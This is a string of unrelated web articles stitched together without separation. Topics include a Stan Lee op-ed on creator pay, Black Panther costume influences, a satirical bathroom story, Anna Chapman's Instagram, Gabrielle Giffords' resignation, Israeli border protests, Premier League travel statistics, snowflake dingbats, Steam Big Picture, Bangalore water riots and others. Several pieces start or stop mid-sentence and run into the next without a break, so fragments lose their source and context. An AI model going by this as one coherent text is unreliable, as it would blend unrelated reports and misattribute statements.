Stan Lee has been in the comic book business for seventy-three years, probably longer than anyone else alive. He has done more for crediting comic creators than any editor who had gone before him, revealing his greatest sin. With his eye focused on glamour and recognition he failed to affect righteous residual compensation for the efforts of Marvel’s comic creators. His compliance with the business tradition that he himself recognized as insufficient destined generations of creators to teeter on poverty while their creations reaped gold for Marvel.
The victims of this industry-wide practice blanket the entire comics landscape, some tragically. Most recently Robert L. Washington III co-author of Static which is currently owned by DC Comics died of a heart attack in abject poverty at the age of 47. His contribution to the Heroes Initiative is a heart wrenching window into the reality of too many comic creators.
Stan, we love you man, but we need you now, more than ever, to stand up for comic creators or you will be always be cursed with the blame for Marvel cheating the same creators that you personally paraded as stars. You can still make a difference. It’s time to put an end to an archaic, unjust work-for-hire practice that keeps talented people impoverished while a soulless corporation bloats over the spoils of their creative efforts.
You have stood at the helm of a company that has created heroes your entire life. Be a hero to those that depended on you the most, the ones that helped you build that fabled “House of Ideas.”
Celebrating Thirty Years of Comics History!
Gerry Giovinco
As an added Bonus here’s a link to Neal Kirby’s FATHER’S DAY tribute to his dad that ran on this site last year.
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PocketIn the four days since its first teaser trailer aired Friday, Marvel's upcoming Black Panther movie has generated a fair amount of buzz. And as with any comic book property, excited fans, critics and pop culture sleuths have scoured its promotional materials looking for inside references, hidden Easter eggs and influences that might have inspired the project.
Of particular interest have been the teaser's eye-popping visuals. Set in the fictional, technologically advanced African nation of Wakanda, Black Panther had the opportunity to create a unique world that blended futuristic science fiction with traditional clothing and art from across Africa.
Ruth Elaine Carter, the film's legendary costume designer, was integral to that process. Here are seven visual sources that she said inspired her work for the film, and that other observant Twitter users — like writer Kendra James — have suggested made their way in as well:
1. The Maasai people of Kenya and Tanzania:
Maasai women sing in Kimani on December 13, 2014. Carl De Souza/Getty Images
Black Panther :
Still from Marvel's 'Black Panther.' Marvel Entertainment/YouTube
2. The Suri people of South Sudan and Ethiopia:
A woman from the Suri tribe wearing a lip plate paints her face in Ethiopia's southern Omo Valley region near Kibbish on September 25, 2016. Carl De Souza/Getty Images
Black Panther :
Still from Marvel's 'Black Panther.' Marvel Entertainment/YouTube
3. The Himba people of Namibia and Angola:
Himba women pose on August 19, 2010 on the road between Ohungumure and Opuwo in northern Namibia. Stephane De Sakutin/Getty Images
Black Panther :
Still from Marvel's 'Black Panther.' Marvel Entertainment/YouTube
4. The Dogon people of Mali:
Picture taken on February 9, 2005 shows two Dogon residents wearing traditional outfits and masks performing a dogon dance in a village near the sandstone cliffs of Bandiagara in the center of Mali. Francois Xavier Marit/Getty Images
Black Panther :
Still from Marvel's 'Black Panther.' Marvel Entertainment/YouTube
5. The Tuareg people of the Sahara Desert, including parts of Libya, Algeria, Niger, Mali and Burkina Faso:
Touareg people celebrate in Niafounke as Malian and French soldiers entered the historic city of Timbuktu, occupied for 10 months by Islamists who imposed a harsh form of sharia, on January 28, 2013. Eric Feferberg/Getty Images
Black Panther :
Still from Marvel's 'Black Panther.' Marvel Entertainment/YouTube
6. The Basotho people of Lesotho:
People queue to vote, at a polling station on June 3, 2017 in Maseru, during Lesotho's general election. Gianluigi Guercia/Getty Images
Black Panther :
Still from Marvel's 'Black Panther.' Marvel Entertainment/YouTube
7. The Ndebele people of South Africa:
South African artist Esther Mahlangu, 81, poses at her home in Mabhoko Village, Siyabuswa, Mpumalanga on March 6, 2017. AFP Photo/Gulshan Khan/Getty Images
Black Panther :
Still from Marvel's 'Black Panther.' Marvel Entertainment/YouTube
As you can see, Carter's work on Black Panther was influenced by people, clothing and art from nearly every region of the African continent. Some observers also pointed out that the film's poster — which was released a few hours before the teaser aired — resembled the iconic 1967 photograph of Huey P. Newton, co-founder of the Oakland, California-based Black Panther Party, sitting on a wicker throne with a spear and a shotgun.
The Black Panther film — which was directed by Ryan Coogler and stars Chadwick Boseman, Lupita Nyong'o and Michael B. Jordan — is set for a Feb. 18 release. It is the first new Marvel film to star a black protagonist since Blade, with Wesley Snipes, was released in 1998.One man wants separate bathrooms for people who stop caring about his private parts.
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MILLER, NORTH CAROLINA — Mike Kent is a 35-year-old transgender man from North Carolina. Recently, Kent made local headlines when he petitioned his city council to draft regulations requiring that all parks, pools and restaurants in his town offer three bathroom options — men, women, and “nosy assholes.”
“I just want them to create a bathroom space for all the morons who are going in there to worry about my genitalia, and not their own,” Kent told us.
Biologically female, Mike underwent gender reassignment surgery six years ago and says he has never been more comfortable in his own skin, except when going to the bathroom in public places. After his state’s governor signed HB2 into law, he says that every time he goes into “certain bathrooms in certain establishments,” he’s always looked at suspiciously going into and out of the bathroom, and one “family establishment” even hired a “junk bouncer” to check all those going into a bathroom to make sure their parts matched the designation of the restroom they were going into.
To be fair, Mike says he knows he’s not the only person getting this scrutiny. In fact, he tells us, he’s seen “just about every human being going into or out of a toilet” getting suspicious looks. He said that his normally “mellow” and “low-key” townspeople have become unusually on edge. But, he says, he thinks it’s just a product of the side effects of HB2. He said “everyone feels like the penis or vagina patrol now.” He blamed the “two-way street of doubt” between bathroom stall neighbors as the root cause.
James' newest satirical compilation is out now and available from Amazon, Barnes & Noble, and soon at WalMart.com.
“I have to say,” Kent told us, “it’s a little off-putting peeing next to someone you can tell is thinking only about your junk instead of using their own to go pee.” He continued, “So what we have here now is hyper-sensitive groups of citizens who don’t know whether they should be worried about the person next to them’s happy parts, or whether the person next next to them is worried about theirs. It’s pee and poop pandemonium all over North Carolina now.”
Kent says his suggestion to create a third bathroom type for people who “just can’t get over it” has been met with some resistance, though surprisingly he’s also gotten calls and emails in support of his idea.
“I think a lot of people would just love to get back to the place where you just go into a bathroom, do your disgusting business, and get out with having as little thought of or interaction with someone else’s private parts as possible,” Kent said, “and if we just give the fundies their own bathroom, they can be as suspicious of each other as they want. The rest of us will piss and shit in privacy and comfort.”The existence and execution of the account reads like a Mad Libs–generated idea that could only happen in 2017: a pro-Russian, anti–United States Instagram profile, chock-full of pictures of an ousted spy, who is also a model, and who is a fan of—you guessed it—Donald Trump.
But, alas: Anna Chapman, the Russian spy who was deported from the United States in 2010 after pleading guilty to conspiracy charges, has apparently combined her twin interests in international affairs and modeling into the most topical Instagram account of the year.
On what appears to be her personal profile, the model only posts images and videos of herself, usually wearing glamorous and fur-hatted looks as she’s photographed amid snowy scenes, horse stables, and television studios. She seems to spend a great deal of time in wintry lodges.
Captions, however, are a different story. There are ominous predictions and calls to action, and stirring defenses of Russian interests. And, yes, there’s a pro-Trump strain.
“Trump is a politician who has the backing of forces just as influential as those behind Clinton,” she captioned a photo posted eight weeks ago. “The only difference is that they like to keep a low profile, because their vision of the future world order means a revolution in U.S. foreign policy. And after that revolution happens, there will be no room for people like Clinton, who has blood on their hands.”
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The Obama administration last week announced new sanctions on Russia and ousted 35 diplomats as retaliatory measures for the Kremlin’s alleged interference in the U.S. presidential election. In an unexpected move, Russian president Vladimir Putin said his government would not reciprocate by expelling 35 U.S. diplomats, as his foreign minister had suggested, a sign that he expects warmer relations with Trump. (Trump has long praised Putin, and called the Russian leader “very smart” for his decision.)
“Most of the western diplomats are currently expressing their condolences to Russia over the death of our ambassador in Turkey,” reads the caption below an image of Chapman and a white horse. “In which case, I would really like to ask them: weren’t you the ones accusing our country of made-up war crimes in Syria?”
An image of the redhead wearing a stern expression greets this caption: “Angela Merkel has announced plans to run for a fourth term as German chancellor. Can’t believe these people have anything to say about democracy in Russia.”
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Chapman seemingly announced the creation of the Instagram account on Twitter in March. She last made headlines in 2014, when she launched a line of austere dresses. But now she’s back—and why not? If a Putin-loving reality-TV host can make it to the White House, certainly a Russian former spy and catwalk model with an interest in foreign affairs can become an Instagram star.
Donald Trump FOLLOW Vladimir Putin FOLLOW Follow to get the latest news and analysis about the players in your inbox. See All PlayersStory highlights "I will recover and will return," Gabrielle Giffords said in a letter that a friend and colleague read
Teary-eyed legislators from both parties give Giffords a standing ovation in the House
House Minority Leader Nancy Pelosi calls Giffords the "brightest star among us"
Gifffords formally resigns as she continues to recover from last year's shooting
Rep. Gabrielle Giffords, who moved the nation with an improbable comeback after a gunman shot her in the head last year, formally resigned Wednesday in an emotional appearance in the U.S. House of Representatives.
"I will recover and will return," the Arizona Democrat said in a letter read aloud by her friend and colleague, Rep. Debbie Wasserman Schultz, who fought back tears.
A standing ovation roared across the House chamber for Giffords. Teary-eyed legislators from both parties applauded Giffords as she submitted her letter of resignation to House Speaker John Boehner, who also fought back tears.
House Minority Leader Nancy Pelosi called Giffords the "brightest star among us."
"She has brought the word 'dignity' to new heights by her courage," Pelosi said. "You will be missed in the House of Representatives."
Her husband, Mark Kelly, a former astronaut, and mother, Gloria, watched.
JUST WATCHED Giffords arrives for Obama address Replay More Videos... MUST WATCH Giffords arrives for Obama address 01:25
JUST WATCHED Gabrielle Giffords stepping down Replay More Videos... MUST WATCH Gabrielle Giffords stepping down 02:36
Giffords, 41, was severely injured by an assassin's bullet that tore through her skull last year in a shooting in Tucson, Arizona, that left six people dead, including a federal judge and a 9-year-old girl.
House Majority Leader Eric Cantor said Wednesday that "we are inspired, hopeful and blessed for the incredible progress that Gabby has made in her recovery." He called her "an inspiration to us and to all Americans."
House Democratic Whip Steny Hoyer added, "We've missed you. We are blessed in this house to be served by extraordinarily people, of which you are a perfect example."
Giffords sat in the front row between Wasserman Schultz, D-Florida, and Dave Schweikert, R-Arizona. As each lawmaker rose to pay tribute to her, she shifted in her seat, turned toward each one and listened intently. After each speech, she stood, assisted by Wasserman Schultz and Schweikert. She raised her hand and pumped her fist in the air several times.
As Hoyer spoke about missing her, Giffords spoke up and said, "I miss you."
Giffords held Wasserman Schultz's hand as her colleague made her remarks.
"I am so proud of my friend, and it will always be one of the great treasures of my life to have met Gabby Giffords and to have served with her in this body," Wasserman Schultz said. "... I know, being able to be Gabby's voice today, that knowing her as well as I do, that the one thing that has not been said is that Gabby wants her constituents to know, her constituents who she loves so much in southern Arizona, that it has been the greatest professional privilege of her life to represent them, that she loves them as a fifth-generation Tucsonian, that her public service has meant a great deal to her, and that this is only a pause in that public service and that she will return one day."
Wasserman Schultz continued, "It has been one of the honors of my life and the most important thing to remember that no matter what we argue about here on this floor or in this country, that there is nothing more important than family and friendship, and that should be held on high above all else."
With the help of an aide, Giffords made her way to Boehner to hand in her letter of resignation while the House speaker's face trembled. He grabbed her hand and raised it as the two received a standing ovation.
"The tragic January 8th shooting in Tucson took the lives of six beautiful Americans and wounded 13 others, me included," said the letter to Boehner. "Not a day goes by that I don't feel grief for the lives lost and so many others torn apart.
"Christina-Taylor Green, Dorothy Morris, John Roll, Phyllis Schneck, Dorwan Stoddard and Gabe Zimmerman embodied the best of America," the letter said. "Each died in their own way, they committed their lives to serving their families, community and country, and they died performing a basic but important act of citizenship that's at the heart of our greatness as a nation."
The three-term congresswoman cast her final vote on a bill that she and U.S. Rep. Jeff Flake introduced to try to crack down on illegal drug smuggling across the U.S. border. After casting her vote, Giffords looked up at the vote board in the chamber to see the green light next to her name.
The bill passed unanimously. After its passage, Giffords remained in the chamber as members lined up to say farewell, including former Rep. Gene Taylor, a Mississippi Democrat who lost in 2010. Taylor waited in line to hug Giffords.
As Giffords left the chamber, she ran into cloakroom attendant Ella Terry. Both women had tears on their faces as they embraced.
Giffords has made few public appearances since the shooting, but she cast a vote to raise the federal debt ceiling, and she also gave an interview to ABC's Diane Sawyer.
Her appearance Wednesday in the House was her second in two days. She received a 90-second standing ovation before President Barack Obama's State of the Union address on Tuesday night.
She has been undergoing intensive rehabilitation in Houston, according to her office.
Prosecutors accuse Jared Lee Loughner, 23, of carrying out the attack, which purportedly targeted Giffords during the constituent meet-and-greet event outside a supermarket.
Loughner could face the death penalty if convicted on charges of murdering six people -- including Roll, the chief federal judge of Arizona.
Loughner has been diagnosed as schizophrenic and has spent time on suicide watch while in custody. He is undergoing treatment in Springfield, Missouri.
Giffords' formal resignation, and her husband's apparent decision not to fill her seat, now makes the race in Arizona's 8th Congressional District largely up for grabs.
The remainder of Giffords' term is expected to be filled by the winner of a special election set by Gov. Jan Brewer, a Republican.Israeli security and intelligence chiefs traded accusations yesterday over who allowed more than 100 protesters to cross the heavily guarded border with Syria, as Palestinians marked the "catastrophe" of Israel's founding in a string of incidents that left 15 unarmed protesters dead and Israel's doctrine of border deterrence in tatters.
Israeli leaders believe that the simultaneous appearance of thousands of civilians marching towards three sensitive borders in different parts of the country suggested a co-ordinated campaign.
Ahead of September's expected approval of Palestinian independence by the United Nations General Assembly, the Israelis fear that the Iranian-backed military efforts that link Gaza, Lebanon and Syria will be supplemented by further mass political action to which Israel currently has no response except gunfire.
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The Israeli Prime Minister, Benjamin Netanyahu, is also coming under increased pressure to produce a peace proposal, if only to recover the diplomatic initiative from the Palestinians, who seem to be on a roll.
Palestinian representatives from Hamas and Fatah met yesterday in Cairo to flesh out an agreement to end their mutual hostility and form a unity government to prepare for new elections.
As military engineers repaired the breach in the border fence made on Sunday, Israeli security forces flooded the area, searching for infiltrators who had failed to return to Syria.
Israel police spokesman Mickey Rosenfeld said police carried out house-to-house searches in Majdal Shams village throughout the night. One man who hid overnight in the village was captured in a taxi en route to Jerusalem.
Israeli military commanders blamed faulty intelligence for the border breach while intelligence chiefs said the local commanders were at fault for failing to prepare their ground forces. Only about a dozen soldiers were on duty when the crowd burst across the border.
Observers pointed out that the protests had been publicised on Facebook for months and it did not take intelligence training to notice hundreds of buses arriving on the Syrian side of the border.
Acknowledging that Sunday's events were "not good", Lieutenant-General Benny Gantz, the chief of staff of Israel's armed forces, praised his troops for not inflicting higher casualties in what rapidly developed into an impossible situation.
Alex Fishman, a commentator at the Hebrew daily Yedioth Ahronoth, said: "What we witnessed yesterday on the Syrian border was a failure." He warned of "more attempted mass marches into Israeli territory... Marches and flotillas to implement the right of return will gather more and more momentum."
"The state of Israel has a systemic problem," Mr Fishman said. "Except for deterrence, it has no means to prevent tens and hundreds of thousands of Palestinians – who succeed in getting organised and in realising the dream of return with their own feet – from breaking across its borders."
But Israel's border deterrence was shattered by Sunday's marchers, who simply walked through a minefield thought to be deadly. Not a single landmine exploded. Shaul Mofaz, the chairman of the Knesset's Foreign Affairs and Defence Committee, told colleagues that Sunday was merely a curtain-raiser and was likely to be replayed unless the Government produced a peace plan.
"The Israeli Government is burying its head in the sand. Without any peace initiative, yesterday's events will repeat themselves in September," Mr Mofaz said. "The present Government, headed by Netanyahu, isn't initiating anything."
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
Subscribe nowMy sixth response to the 100 letters I mailed out was from one Mark Baker-Wright. Mark’s letter appeared in issue 61, entitled: The Primal Scream.
Mark’s story starts out a little different then the others I’ve interviewed. See, mark found out about my little project from a facebook post about it. Mark even talks about having his letter show up in the Transformers comic on a blog post he wrote entitled: The Single Most Cataclysmically Important Transformers Story, Ever.
Mark’s Letter in the 80s Marvel comic reads:
Dear Transmissions, After reading the several million letters you have printed by people begging you to bring back certain characters, I feel it is time to start giving your writers some advice. They shouldn’t pay so much attention to which new toys Hasbro are producing, and -most importantly- it shouldn’t matter that Hasbro is no longer producing certain characters as toys. Just because these characters aren’t made anymore doesn’t mean you have to kill them off in the comic! In the 55 issues so far I have seen many characters (good and bad) killed off: Shockwave, Megatron and (everyone’s favorite) Starscream, to name some Decepticons, and Jazz, Blasters and Sunstreaker, on the Autobot side. Please stop this trend before all we’re left with are Pretenders, Micromasters, Powermasters and the like! I’d better just add this I’ve just flicked to the final page of issue #56, and seen Megatron! So perhaps this letter was unnecessary. Mark Wright
Louisvill, KY
Mark gave me some of his time to answer my questions. So here is Mark, 3o-ish years later.
How did you discover the Transformers? I *think* I saw Bumblebee in the toy store before I even knew what Transformers were, but won’t swear to it. I first became familiar with the franchise through friends at school, and through the cartoon mini-series which aired a couple of times before the series proper began.
Where did you get your Transformers comics from?
For the most part, I either got my comics from the grocery store or via subscription (especially once I figured out that subscriptions were cheaper than getting the issues from the store!). I got every issue as it came out starting with issue #8, but did have to go back by various means to collect issues #1-7 (especially comic shops. But the closest to me was on the opposite end of town, so this was by no means convenient) I’m quite proud of having every Transformers-related comic Marvel US ever put out (with this caveat: I only have one issue of the “digests” that only collected a couple of previously-released issues, as well as only one of the “collected comics” softcovers… In this case the one that collected issues 1-3 in a slightly-edited form. I don’t know how many “collected comics” were released).
What compelled you to write to Marvel’s Transformers?
My letter itself (as well as my blog entry) gets to this fairly well. It was clear at this point in time that the Transformers toy line was focused on just a couple of line-wide gimmicks each year (at the time that I wrote, this would have been Pretenders and Micromasters. A year or so later, it was just Action Masters and Micromasters), and I was afraid that the comics would be following suit (which, to a degree, of course they were).
What was it like to see your letter printed in the back of the comic?
I was pretty excited to see my letter printed. After all, I was just 15 at the time, and this was like becoming famous!
Who are you today and are you still a Transformers fan?
I’m still a Transformers fan, and keep pretty active in the online community. Besides my blog, Blackrock’s Toybox, I’m pretty well-known on several of the more prominent message boards, where I’ve used the moniker “G.B. Blackrock” for many years now. I work as support staff in higher education, having completed almost 15 years on the staff of Fuller Theological Seminary, and now working at Azusa Pacific University for just over a year.
Many thanks goes out to Mark Baker-Wright for his time to respond to me. I really enjoyed his responses to my questions.Football fans are known for showing unwavering commitment in backing their heroes - and Premier League clubs travelled a total of 57,000 miles to away matches across the 2014-15 season.
But whose mileage over the entire Premier League season could have taken them to the Caribbean islands of the Bahamas? Whose average trip was the same length as one complete loop of the M25 motorway? And who clocked up 1,718.2 miles before winning on the road?
BBC Sport finds out which supporters travelled the longest distance over the past nine months.
Which Premier League team travelled the most?
Travelling distance during the 2014-15 season Total miles Average trip Swansea 4,129.3 217.3 Newcastle 4,082.2 214.9 Sunderland 4,007.9 211.0 Southampton 3,390.7 178.5 Hull 3,090.5 162.7 Crystal Palace 2,937.7 154.6 Burnley 2,830.5 149.0 West Ham 2,758.9 145.2 Chelsea 2,709.1 142.6 Tottenham 2,696.7 141.9 Liverpool 2,668.8 140.4 Everton 2,666.4 140.4 QPR 2,644.6 139.2 Arsenal 2,617.1 137.7 Man City 2,548.6 134.1 Man Utd 2,436.3 128.2 Stoke 2,287.8 120.4 West Brom 2,206.1 116.1 Leicester 2,198.3 115.7 Aston Villa 2,117.9 111.5
Swansea's total mileage of 4,129.3 could take fans on a one-way trip to the Bahamas...
...and see fans of the Swans luxuriating on the islands' beaches
Who had the longest trip in the Premier League?
Swansea and Newcastle supporters faced the longest trek in the Premier League when their sides met - a journey of 359.4 miles. And trips to the Liberty Stadium and St James' Park were particularly arduous for the majority of top-flight fans.
That is because Swansea and Newcastle accounted for the longest awayday for 18 of the 20 teams. The other two? Southampton was the longest trip for both Everton and Liverpool.
Who had the shortest trip?
Everton's Goodison Park and Liverpool's Anfield are separated by Stanley Park
The shortest away trip in the Premier League, calculated by road distance, is the 1.2 miles between Liverpool and Everton.
British middle-distance athlete Mo Farah could run that journey in about four minutes 55 seconds - and even quicker, of course, if he dashed the more direct route across Stanley Park.
Swansea's shortest journey was the 151.6-mile trip to 'nearest rivals' West Brom. A single trip from Swansea to The Hawthorns equals 40 return trips for the Baggies to their nearest neighbours Aston Villa
Who faced miserable trips home?
It was mainly misery on the road for fans of QPR - but they eventually won 2-0 at Sunderland
QPR fans had a miserable season as the Hoops were relegated back to the Championship after just one season.
And they travelled 1,718.2 miles before seeing their side win away from home for the first time in 2014-15.
The west London club finally won at Sunderland - an individual trip of 318.2 miles - in their 13th away match in all competitions, on 10 February.
Who were the happiest travellers?
Jose Mourinho's Chelsea won 11 away games, scoring 37 goals in the process
Chelsea fans had plenty to cheer about as their team won the Premier League and League Cup. And return journeys back to the capital, including trips to Sporting Lisbon, Maribor and Schalke in Europe, were made even sweeter in the early part of the season.
That is because the Blues travelled 3,934.1 miles before seeing their team lose away from home for the first time this season.
Their first away defeat in all competitions came in their longest Premier League trip - the 285-mile journey to Newcastle on 6 December - in their 12th match on the road.
Who gets the best value?
Miles per goal during the 2014-15 season Total miles Away goals Miles per goal Man City 2,548.6 39 65.3 Chelsea 2,709.1 37 73.2 Arsenal 2,617.1 30 87.2 Tottenham 2,696.7 27 99.9 Crystal Palace 2,937.7 26 113 Man Utd 2,436.3 21 116 Liverpool 2,668.8 22 121.3 Leicester 2,198.3 18 122.1 Everton 2,666.4 21 127 QPR 2,644.6 19 139.2 Stoke 2,287.8 16 143 West Ham 2,758.9 19 145.2 West Brom 2,206.1 14 157.6 Aston Villa 2,117.9 13 162.9 Southampton 3,390.7 17 199.5 Burnley 2,830.5 14 202.2 Swansea 4,129.3 19 217.3 Hull 3,090.5 14 220.8 Sunderland 4,007.9 15 267.2 Newcastle 4,082.2 14 291.6
Newcastle did not net at Man City, Everton, Sunderland, Liverpool or Leicester from 21 February to 16 May
Brits abroad
European trips for Premier League clubs Total miles Matches Average trip Tottenham 6,822.05 5 1,364.41 Liverpool 4,630.53 4 1,157.63 Man City 4,194.07 4 1,048.52 Everton 4,907.39 5 981.48 Arsenal 4,271.74 5 854.35 Chelsea 2,298.35 4 574.59 Hull 1,115.67 2 557.84
Record after European away trips Played Won Drawn Lost Tottenham 5 2 0 3 Liverpool 4 2 0 2 Man City 4 2 1 1 Everton 5 2 1 2 Arsenal 5 4 1 0 Chelsea 4 2 2 0 Hull 1 0 1 0
All UK mileage calculated using the most direct road route between each club's stadium. One-way systems, roadworks etc mean distances between two clubs can vary in different directions. All European mileage calculated using flying distance between the two cities.Boosey & Hawkes Online Scores: free to view (May 2011)
Boosey & Hawkes, the leading independent publisher of contemporary classical music, is pleased to announce the launch of Boosey & Hawkes Online Scores, which offers free online viewing of orchestral, opera, and large ensemble scores from the B&H catalogue.
Please visit: www.boosey.com/onlinescores
The launch of the new boosey.com perusal service features over 400 scores of works by some of the most celebrated modern masters including Bartók, Bernstein, Britten, Copland, and Stravinsky, as well as leading contemporary figures such as John Adams, Louis Andriessen, Harrison Birtwistle, Elliott Carter, Unsuk Chin, Osvaldo Golijov, Magnus Lindberg, Steve Reich and Paquito D’Rivera. You can also explore, for the first time, works by the emerging generation of composers including Michel van der Aa, Oscar Bettison, Enrico Chapela, Anna Clyne and Sean Shepherd. Additional scores will be added regularly, and the newest music from |
occurs,” she said. “But I stand by the professionals and the many systems that are going on throughout the country.
“The whole thing is about shaping a city as opposed to simply moving people from point A to point B, so I would say his comments are short-sighted in terms of planning the development of a city when you’re starting from Ground Zero,” Hepner told the Now-Leader. “Most start and have already established a core and then you build out. We’re establishing a city from building the centre from ground up, which is rather unusual, and so this is the system that we and hundreds others around the world have used to shape their cities, and that’s what our intention is.”
Hepner said the author of the report “sounds biased to the degree that I don’t understand but he’d be welcome to talk to our engineers to get a bit more information but maybe my only comment is our intention to shape the city and that he’s probably correct in terms of the business case, that’s why we have developed the city centre plan to allow for the densification around the corridor.”
tom.zytaruk@surreynowleader.com
Like us on Facebook and follow Tom on TwitterNo two snowflakes alike?
Scientists say no two snowflakes are alike. Apparently, designers have their own opinion.
From holiday storefronts to ski chalet logos, it seems this six-sided shape can be seen everywhere this time of year. Even spotted on the back of my cancelled airline ticket (thanks the weekend snowstorm in New York), this flake sure gets around. But why? If Wilson Alwyn Bentley was able to capture over 5,000 unique “tiny miracles of beauty” at the turn of the 20th century—is there any reason designers favor this particular snowflake?
The most popular snowflake in the world
The simplified snowflake can be traced back to German typographer Hermann Zapf. Working with the International Typeface Corporation (ITC) in 1977, Zapf designed a collection of useful symbols, ornaments, and typographic elements, well known today as ITC Zapf Dingbats.
Spreading like frost in a blizzard, Zapf Dingbats became the de facto dingbat typeface over the following decades, giving typesetters access to commonly used symbols like arrows, pointing fingers, telephone icons, and (of course) snowflakes.
Zapf’s snowflake along with the lesson known ‘tight trifoliate snowflake’ and ‘heavy chevron snowflake,’ released 1978.
It has been noted over one thousand sketches were originally created for Zapf Dingbats, although only 360 made ITC’s final cut. Three snowflakes made the cut, and it’s clear which one became the favorite.
Recently, Linotype released an expanded and updated collection based on Zapf’s work called Zapf Essentials.
The Arial of snowflakes
In 1990 the snowflake was born again in Microsoft’s Wingdings typeface, with a nearly identical glyph to the one made popular in Zapf Dingbats.
Windings (1990) shown in red and Zapf Dingbats (1978) overlaid in blue.
Included with Windows since version 3.1, Wingdings was pieced together using three symbol typefaces originally designed by Charles Bigelow and Kris Holmes for the Lucida family: Lucida Icons, Arrows, and Stars. The three Lucida fonts were purchased by Microsoft who did little more than remap the keyboard layouts (with controversy) and change its name.
Microsoft’s Wingdings symbol font is not a part of the Lucida family, though it was designed by Bigelow & Holmes to harmonize with the Lucida alphabetic fonts. From the traditional pen and pencil to computer mice (including the Microsoft Mouse and Ballpoint), and from pointing hands to computer disks and tapes, Wingdings offers a large set of icons, pictograms, and symbols for a wide range of functional and decorative uses… —Bigelow & Holmes, Lucida Family Overview
Due to its inclusion on Windows (and even Mac OS X since 10.5), Wingdings remains one of the most popular modern dingbat fonts.
Snowflakes in Unicode
A selection of classic Zapf Dingbats have also been immortalized in Unicode, an international character set which makes it possible to use glyphs from any language. As the world moves to Unicode, snowflakes (❄) can now be found in several Unicode fonts.
Although many type designers replicate Zapf’s iconic snowflake, it’s a nice to surprise to see some occasional variation.
Arial Unicode MS, 1998.
It’s snowing everywhere
Variations of Zapf’s icon can be seen everywhere. Sometimes bold or rounded, it always stands out:
Above: Snow Patrol’s Up to Now, Miracle on 34th Street DVD menu, Snowdays logo, Alice in Wonderland storefront display, Deepfreeze logo for The European Van Company, Mickey Mouse Christmas ornament, holiday display at Saks Fifth Avenue, Smith Ski logo, Snow Route sign in Ohio.
By now, the icon has become so recognizable, it feels more like The Helvetica Man than a graphical element—making it perfectly suitable for a ‘Snow Route’ sign but rather strange on Saks Fifth Avenue storefront.
Sure, it’s easy to use Zapf’s icon for everything… but with infinite possibilities, is it always the best choice?was 2-for-5 with a home run and two RBI during the team's 7-4 win over the Phillies on Sunday.
He's batting.238 overall this season, but.282 with a.341, two HR and five RBI the last 11 games.
"Power can change the pace of the game," manager Terry Collins said, when asked about Granderson's home run. "When you have it, it makes a big difference. We know he has it. We've asked him to change his game to be an on-base guy, but you know there is nothing wrong hitting one out every so often."
Matthew Cerrone: It's weird saying this, but he's almost been too patient at the plate. In the at bat he hit the home run, he actually saw two other pitches that he could have ripped as well, one of which led off the at bat, yet he took them for strikes. That said, he jacked the one he did hit - an inside fastball - about a mile over right center field. He's on pace to again hit between 15 and 20 home runs. This specific lineup could use more than that from him, especially since he's clearly capable of it. Leadoff spot or not, I expect more and I suspect the Mets expect more too considering what they're paying him. Thankfully, he's swinging the bat with more authority the last week or so, hopefully it continues and that projected total keeps rising.Valve will take its first big steps toward moving its popular Steam digital distribution service from the PC monitor to the living room TV on Monday by launching a beta version of its long-planned "Big Picture" interface.
Kotaku got a chance to try out the new mode ahead of the public launch, showing off an interface comparable to the Xbox 360 dashboard, with bigger fonts and large, rectangular picture icons designed to be viewed from a living room couch rather than a desk chair. Navigation in Big Picture mode is handled with a standard handheld controller (like that on the Xbox 360), rather than a mouse and keyboard, letting users click the triggers to switch between tabs for the store, game library, and community features. An integrated Web browser is also designed to be used with a controller, letting users multitask without returning to the computer desktop.
For text entry and text-based communication, Big Picture mode also features a unique on-screen keyboard that has been redesigned to take advantage of handheld controllers. Rather than scrolling through a full on-screen QWERTY layout, users choose from eight groups of four letters by tilting the left thumbstick in one of eight directions, then choose a specific letter using the face buttons on the other side of the controller. The interface bears more than a passing resemblance to the TwoStick text entry system which was first introduced back in 2007, and reportedly leads to much faster text entry times than other controller-based on-screen keyboard systems.
Though Big Picture mode puts Steam into more direct competition with other TV-based game consoles, Valve's Greg Coomer told Kotaku that this is not necessarily the first step in Valve's long-rumored plans to design dedicated hardware for playing Steam games.
"What we really want is to ship [Big Picture mode] and then learn," Coomer told Kotaku. "So we want to find out what people value about that. How they make use of it. When they make use of it. Whether it's even a good idea for the broadest set of customers or not. And then decide what to do next."
UPDATE: Valve has posted a video trailer showing off some of Big Picture's features. Watch it below.Image copyright AFP Image caption Protesters in Bangalore singled out vehicles registered in Tamil Nadu
Protesters in the southern Indian city of Bangalore in Karnataka state have attacked shops and set fire to vehicles in a long-running dispute about water.
They were angry at a Supreme Court ruling ordering Karnataka to share more water with neighbouring Tamil Nadu.
Karnataka must release 12,000 cubic feet of water per second from the Cauvery river until 20 September.
Both states say they urgently need the water for irrigation and a battle about access to it has raged for decades.
The violence in the technology hub closed many offices and much of the public transport system.
Police have imposed an emergency law that prohibits public gatherings, and more than 15,000 officers have been deployed.
Reuters reported that Tamil Nadu registered vehicles were being singled out by protesters and pelted with stones.
Image copyright AFP Image caption Thousands of police have been deployed in BangaloreCoral Gables running back Amir Rasul is FSU’s top target at the position for the Seminoles’ 2016 recruiting class. (Photo: 247Sports.com)
The No. 1 high school running back in the state of Florida has committed to Florida State.
And he has lofty expectations for himself when he becomes a Seminole.
Four-star running back Amir Rasul, from Coral Gables High, joined FSU's 2016 recruiting class on after speaking with head coach Jimbo Fisher and FSU recruiting coordinator Tim Brewster on Monday morning. 247Sports first reported the news Monday night.
“I’m not just a player that’s just going to show what I can do on the field,” Rasul said in a phone interview with the Tallahassee Democrat.
“I’m going to be able to show what I can do off the field and in the community. And just doing what I have to do all-around, and just being a person before player.”
Rasul was the most coveted running back on FSU’s radar in 2016. With a fairly weak running back class for FSU to choose from, and losing out on four-star Jordan Scarlett to Florida before National Signing Day last February, Rasul will give the Seminoles much-needed depth at the position behind freshman Jacques Patrick — if he signs with the school this February.
Rasul’s pledge comes just two days after he chose to opt out of his commitment to the University of Miami. He’s considered a Top 10 running back in the country, according to 247Sports’ composite ratings.
“It felt really good that they put that much confidence in me,” Rasul said of FSU. “For them to do that was enough for me, and I just feel good about the commitment.”
Rasul becomes the 19th member of FSU’s 2016 class, which is now ranked third in the country by 247. Ohio State and LSU have taken the top two spots after recent commitments in the last two months.
